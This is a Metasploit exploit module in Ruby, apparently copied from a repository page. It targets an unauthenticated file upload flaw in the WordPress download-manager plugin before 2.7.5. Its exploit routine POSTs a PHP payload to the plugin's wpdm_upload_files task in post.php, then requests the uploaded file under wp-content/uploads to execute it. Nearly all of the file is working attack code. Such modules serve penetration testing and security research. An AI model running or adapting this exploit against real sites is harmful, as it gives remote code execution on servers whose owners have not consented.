79 lines
2.6 KiB
Ruby
79 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Wordpress Download Manager (download-manager) Unauthenticated File Upload',
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'Description' => %q{
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The WordPress download-manager plugin contains multiple unauthenticated file upload
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vulnerabilities which were fixed in version 2.7.5.
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},
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'Author' =>
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[
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'Mickael Nadeau', # initial discovery
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'Christian Mehlmauer' # metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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# The module exploits another vuln not mentioned in this post, but was also fixed
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['URL', 'http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html'],
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['WPVDB', '7706']
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['download-manager < 2.7.5', {}]],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 3 2014'))
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end
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def check
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check_plugin_version_from_readme('download-manager', '2.7.5')
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end
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def exploit
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filename = "#{rand_text_alpha(10)}.php"
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data = Rex::MIME::Message.new
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data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{filename}\"")
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print_status("Uploading payload")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(wordpress_url_backend, 'post.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s,
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'vars_get' => { 'task' => 'wpdm_upload_files' }
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)
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if res && res.code == 200 && res.body && res.body.length > 0 && res.body =~ /#{Regexp.escape(filename)}$/
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uploaded_filename = res.body
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register_files_for_cleanup(uploaded_filename)
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print_status("File #{uploaded_filename} successfully uploaded")
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else
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fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
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end
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file_path = normalize_uri(target_uri, 'wp-content', 'uploads', 'download-manager-files', uploaded_filename)
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print_status("Calling uploaded file #{file_path}")
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send_request_cgi(
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{
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'uri' => file_path,
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'method' => 'GET'
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}, 5)
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end
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end
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